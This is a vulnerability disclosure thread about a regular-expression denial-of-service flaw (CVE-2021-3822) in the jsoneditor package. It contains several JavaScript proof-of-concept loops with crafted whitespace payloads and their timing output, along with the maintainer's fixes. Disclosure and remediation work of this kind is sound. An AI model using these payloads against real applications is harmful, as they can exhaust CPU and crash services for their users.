Inefficient Regular Expression Complexity in josdejong/jsoneditor

0

Valid Reported on Sep 20th 2021

✍️ Description

The `jsoneditor` package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted element as input to the getInnerText function may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.

🦸 Proof of Concept

Reproducer where we've copied the relevant code:
https://github.com/josdejong/jsoneditor/blob/c33544bf7de6f4af05b58c4072e28bc786fb3f45/src/js/util.js#L403
Put the below in a poc.js file and run with node

```
var regex = /\s*\n\s*/g;
for(var i = 1; i <= 500; i++) {
var time = Date.now();
var payload = "A"+" ".repeat(i*10000)+"Z"
regex.test(payload)
var time_cost = Date.now() - time;
console.log("Trim time : " + payload.length + ": " + time_cost+" ms");
}
```

Check the Output:

```
Trim time : 10002: 102 ms
Trim time : 20002: 421 ms
Trim time : 30002: 927 ms
Trim time : 40002: 1693 ms
Trim time : 50002: 2659 ms
Trim time : 60002: 3945 ms
Trim time : 70002: 5472 ms
Trim time : 80002: 7407 ms
Trim time : 90002: 8342 ms
Trim time : 100002: 10267 ms
Trim time : 110002: 13306 ms
--
--
```

💥 Impact

This vulnerability is capable of exhausting system resources and leads to crashes.

Occurrences

JS util.js L403

CVE
CVE-2021-3822
(Published)

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
Medium (5.3)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

ready-research
@ready-research
pro

Fixed by

Jos de Jong
@josdejong
unranked

This report was seen 520 times.

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

Z-Old a year ago — Admin

Hey ready-research, I've emailed the maintainers for you.

We have contacted a member of the **josdejong/jsoneditor** team and are waiting to hear back a year ago

Jos de Jong a year ago — Maintainer

Fixed via https://github.com/josdejong/jsoneditor/commit/092e386cf49f2a1450625617da8e0137ed067c3e, published in jsoneditor@9.5.6

I have a hard time to understand why this issue was marked as "Severity high". Loading any too large document in the jsoneditor will crash your browser. So, if an attacker has a possibility to load arbitrary text in the contents of the jsoneditor, there are easier ways to crash the users browser than carefully crafting contents that will trigger this regex inefficiency (the latter also requires that the user starts editing this specific large field in the document before the regex is executed).

ready-research modified the report a year ago

ready-research a year ago — Researcher

@josdejong Thanks for the review. Yeah, you are right. Changed the Severity to low.

Can you please validate this using `Mark as valid` and also `confirm the fix`.

Jos de Jong validated this vulnerability a year ago

ready-research has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

Jos de Jong marked this as fixed with commit **092e38** a year ago

Jos de Jong has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

util.js#L403 has been validated ✅

Jos de Jong a year ago — Maintainer

Done

ready-research a year ago — Researcher

Thank you @josdejong for validating. I raised another issue in mathjs, please validate that and let me know your thoughts
https://www.huntr.dev/bounties/989bbc02-2f54-4ecd-b405-e7ec34b7f990/

Jamie Slome a year ago — Admin

CVE published! 🎊

Yeting Li a year ago

Hi maintainer, I found that the repaired regex `/(\b|^)\s*\n\s*(\b|$)/` still has a ReDoS vulnerability. The PoC is as follows.

```
var regex = /(\b|^)\s*\n\s*(\b|$)/;
for(var i = 1; i <= 500; i++) {
var time = Date.now();
var payload = "\n".repeat(i*10000)+"\x00"
regex.test(payload)
var time_cost = Date.now() - time;
```

```
console.log("Trim time : " + payload.length + ": " + time_cost+" ms");
}
```

I am willing to suggest that you replace the regex `/(\b|^)\s*\n\s*(\b|$)/` with `/(\b|^)\s*\n(?!\n)\s*(\b|$)/` or `/(\b|^)[ \f\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff](\n[ \f\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]*)+(\b|$)/`

Feel free to contact me if you have any questions.

Best regards,
Yeting Li

Jos de Jong a year ago — Maintainer

Thanks @yetingli. Your proposed fix still has an issue when you for example use a payload with alternating returns and spaces.

I guess the culprit is the first \s*. I've addressed this concern now by changing the regex into a two step process: first find a series of whitespaces (any whitespace), next check if there is a return character in it. See the following commit:

https://github.com/josdejong/jsoneditor/commit/5d108b438576f29a91c1e53579b188adb5291292

Yeting Li a year ago

Thank you for your reply @Jos de Jong. Your fix is safe. In addition, Can you give me a sample issue for my fix?

Jos de Jong a year ago — Maintainer

Thanks for the feedback. Here an example with the fix you proposed in combination with alternating spaces/returns in the payload:

```
var regex = /(\b|^)\s*\n(?!\n)\s*(\b|$)/;
for(var i = 1; i <= 500; i++) {
var time = Date.now();
var payload = "\n ".repeat(i*10000)+"\x00"
regex.test(payload)
var time_cost = Date.now() - time;
console.log("Trim time : " + payload.length + ": " + time_cost+" ms");
}
```

Yeting Li a year ago

Great example. Thank you for your feedback.

Sign in to join this conversation